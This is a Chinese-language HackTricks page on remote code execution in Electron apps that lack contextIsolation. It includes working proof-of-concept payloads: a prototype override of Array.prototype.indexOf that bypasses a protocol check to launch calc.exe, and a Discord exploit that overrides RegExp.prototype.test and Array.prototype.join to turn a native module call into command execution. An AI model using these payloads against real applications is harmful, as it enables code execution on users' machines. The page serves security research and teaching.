Electron contextIsolation RCE via preload code

从零开始学习AWS黑客技术,成为专家 htARTE(HackTricks AWS Red Team Expert)

支持HackTricks的其他方式:

示例 1

来自https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=30的示例

此代码使用默认浏览器打开http(s)链接:

类似 file:///C:/Windows/systemd32/calc.exe 的内容可用于执行计算器,SAFE_PROTOCOLS.indexOf 正在阻止此操作。

因此,攻击者可以通过XSS或任意页面导航注入此JS代码:

<script>
Array.prototype.indexOf = function(){
return 1337;
}
</script>

由于对SAFE_PROTOCOLS.indexOf的调用将始终返回1337,攻击者可以绕过保护并执行calc。最终利用:

<script>
Array.prototype.indexOf = function(){
return 1337;
}
</script>
<a href="file:///C:/Windows/systemd32/calc.exe">CLICK</a>

查看原始幻灯片,了解在没有提示请求权限的情况下执行程序的其他方法。

显然,另一种加载和执行代码的方法是访问类似 file://127.0.0.1/electron/rce.jar 的内容

示例2:Discord 应用程序远程代码执行

示例来自 https://mksben.l0.cm/2020/10/discord-desktop-rce.html?m=1

在检查预加载脚本时,我发现 Discord 公开了一个函数,允许通过 DiscordNative.nativeModules.requireModule('MODULE-NAME') 在网页中调用一些允许的模块。 在这里,我无法直接使用可用于远程代码执行的模块,比如 child_process 模块,但我找到了一段可以通过覆盖 JavaScript 内置方法实现远程代码执行的代码,并干扰公开模块的执行。

以下是 PoC。我确认当我从 devTools 调用名为 "discord_utils" 的模块中定义的 getGPUDriverVersions 函数时,弹出了 calc 应用程序,同时覆盖了 RegExp.prototype.testArray.prototype.join

RegExp.prototype.test=function(){
return false;
}
Array.prototype.join=function(){
return "calc";
}
DiscordNative.nativeModules.requireModule('discord_utils').getGPUDriverVersions();

getGPUDriverVersions 函数尝试使用 "execa" 库执行程序,如下所示:

module.exports.getGPUDriverVersions = async () => {
if (process.platform !== 'win32') {
return {};
}

const result = {};
const nvidiaSmiPath = `${process.env['ProgramW6432']}/NVIDIA Corporation/NVSMI/nvidia-smi.exe`;

try {
result.nvidia = parseNvidiaSmiOutput(await execa(nvidiaSmiPath, []));
} catch (e) {
result.nvidia = {error: e.toString()};
}

return result;
};

通常,execa 尝试执行 nvidiaSmiPath 变量中指定的 "nvidia-smi.exe",但是由于被覆盖的 RegExp.prototype.testArray.prototype.join参数在 _execa_** 的内部处理中被替换为 "_calc_"**。

具体来说,参数被更改的两个部分如下。

https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L36

https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L55

从零开始学习 AWS 黑客技术,成为专家 htARTE (HackTricks AWS Red Team Expert)

支持 HackTricks 的其他方式:

最后更新于